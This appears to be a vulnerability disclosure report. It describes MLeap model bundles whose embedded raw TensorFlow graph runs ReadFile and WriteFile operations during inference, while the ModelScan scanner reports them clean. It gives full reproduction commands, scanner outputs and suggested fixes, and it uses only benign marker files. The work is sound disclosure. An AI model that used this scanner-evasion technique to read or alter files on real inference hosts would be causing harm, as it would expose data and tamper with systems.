MLeap raw TensorFlow graph.pb executes file I/O ops while scanner reports clean
Submission
- Data format: MLeap Bundle.ML with TensorFlow
root/graph.pb - Suggested title: MLeap raw TensorFlow
graph.pbexecutes file I/O ops while scanner reports clean - Severity: High
- Impact: model-carried TensorFlow
ReadFileandWriteFileoperations execute during MLeap inference while the MLeap/raw-GraphDef scan path reports zero issues - Affected runtime verified:
ml.combust.mleap:mleap-tensorflow_2.13:0.24.0 - Scanner verified: ModelScan
0.8.8 - Not claimed: arbitrary native code execution
Executive summary
MLeap Bundle.ML can store a TensorFlow model as a raw GraphDef at root/graph.pb. MLeap's TensorflowTransformer imports that graph and executes it during normal transform/inference. ModelScan scans the same nested root/graph.pb using its TensorFlow-op scanner but reports zero issues for the raw GraphDef/MLeap bundle form, even when the graph contains TensorFlow file I/O operations that are considered unsafe and are flagged when wrapped as a SavedModel control.
This repository includes two benign PoCs:
readfile/: reads a local marker file and returns the marker string as model output.writefile/: writes a benign local marker file during inference.
The dangerous behavior is carried by the MLeap model artifact. The reviewer does not run attacker code outside model loading/inference; the verifier only loads the bundle and calls transform.
Why this is security-relevant
Model scanning and model runtime disagree about the same TensorFlow graph. A repository/service could accept an MLeap bundle as scanner-clean while MLeap later executes TensorFlow file I/O ops from the bundle during inference. The ReadFile primitive demonstrates local file disclosure into a model output, and the WriteFile primitive demonstrates file creation/modification on the runtime host. The PoCs use harmless marker paths and marker strings.
Root cause
There are two parts:
- Runtime: MLeap imports a raw
GraphDeffromroot/graph.pband executes nodes listed by the MLeap model JSON. - Scanner mismatch: ModelScan recognizes the nested
root/graph.pband runsSavedModelTensorflowOpScan, but the raw GraphDef form is not interpreted the same way as a SavedModel protobuf. The equivalent SavedModel control is flagged as HIGH forReadFile, while the MLeap bundle/raw GraphDef path reports zero issues.
Repository contents
readfile/mleap_tf_readfile_bundle.zip MLeap ReadFile bundle
readfile/readfile_graph.pb raw GraphDef embedded in the bundle
readfile/readfile_saved_model.pb SavedModel control containing the same op
readfile/verify_poc.scala verifier used to load and transform the bundle
readfile/mleap_tf_readfile_runtime_output.txt runtime output showing marker disclosure
readfile/modelscan_* scanner outputs
writefile/mleap_tf_writefile_bundle.zip MLeap WriteFile bundle
writefile/writefile_graph.pb raw GraphDef embedded in the bundle
writefile/verify_poc.scala verifier used to load and transform the bundle
writefile/runtime_output.txt runtime output showing marker write
writefile/modelscan_* scanner outputs
SHA256SUMS.txt hash manifest
Reproduction
Install Java, Coursier, and ModelScan, then fetch MLeap TensorFlow:
hf download pragnyanramtha/mleap-tf-raw-graphdef-unsafe-ops-poc --local-dir mleap-poc
COURSIER_CACHE=/tmp/mleap-coursier-cache \
cs fetch --classpath ml.combust.mleap:mleap-tensorflow_2.13:0.24.0 > mleap-tf.classpath
ReadFile runtime proof:
cd mleap-poc/readfile
mkdir -p classes /tmp/mleap-readfile
printf MLEAP_TF_READFILE_MARKER > /tmp/mleap-readfile/source.txt
CP=$(cat ../../mleap-tf.classpath)
cs launch scalac:2.13.16 -- -classpath "$CP" -d classes verify_poc.scala
java -cp "classes:$CP" LoadRunMLeapTfReadBundle \
"jar:file:$PWD/mleap_tf_readfile_bundle.zip" \
/tmp/mleap-readfile/source.txt
Expected output:
LOAD_OK root=ml.combust.mleap.tensorflow.TensorflowTransformer
INFER_OK outputs=1
OUTPUT_0_RAW=MLEAP_TF_READFILE_MARKER
WriteFile runtime proof:
cd ../writefile
mkdir -p classes /tmp/mleap-writefile
CP=$(cat ../../mleap-tf.classpath)
cs launch scalac:2.13.16 -- -classpath "$CP" -d classes verify_poc.scala
java -cp "classes:$CP" LoadRunMLeapTfBundle \
"jar:file:$PWD/mleap_tf_writefile_bundle.zip" \
/tmp/mleap-writefile/marker.txt
Expected output:
LOAD_OK root=ml.combust.mleap.tensorflow.TensorflowTransformer
INFER_OK outputs=0
MARKER_EXISTS=true
MLEAP_TF_WRITEFILE_MARKER
Scanner proof
Run ModelScan on the MLeap bundle and the SavedModel control:
modelscan -p readfile/mleap_tf_readfile_bundle.zip -r json --show-skipped
modelscan -p readfile/readfile_graph.pb -r json --show-skipped
modelscan -p readfile/readfile_saved_model.pb -r json --show-skipped
Observed bundle/raw-GraphDef result:
Scanning mleap_tf_readfile_bundle.zip:root/graph.pb using modelscan.scanners.SavedModelTensorflowOpScan
total_issues: 0
scanned_files: ["mleap_tf_readfile_bundle.zip:root/graph.pb"]
Observed SavedModel control:
total_issues_by_severity: HIGH: 1
description: Use of unsafe operator 'ReadFile' from module 'Tensorflow'
severity: HIGH
The captured scanner outputs are included in each subdirectory.
Hashes
07e435e47b0068ca6fcd7d760262d122da419c642e3399949df730799e9eb4a6 readfile/mleap_tf_readfile_bundle.zip
8f0e9f6b5f385ef4beabcdd52a3e9274589ba821ebd1a17cef0bc2f2e1d98cf9 readfile/readfile_graph.pb
1c18b89493fa9b2d3f5654093caafda67006a93c3a2826ac32306e51c5f1c2a9 readfile/readfile_saved_model.pb
2cd2e3dae5ddea26c9cfea76b2af22d615401f9ee77dd33cc639df62dc2c5971 writefile/mleap_tf_writefile_bundle.zip
Suggested fix
Model scanners should parse raw TensorFlow GraphDef files embedded inside MLeap bundles as GraphDef, not only SavedModel-like protobufs. MLeap deployments should reject or sandbox TensorFlow graphs containing file I/O ops unless explicitly allowed. The runtime can also gate dangerous TensorFlow ops before importing/executing root/graph.pb.
Limitations
The PoCs use benign marker files. This report demonstrates model-carried local file read/write primitives and scanner/runtime mismatch, not arbitrary native code execution.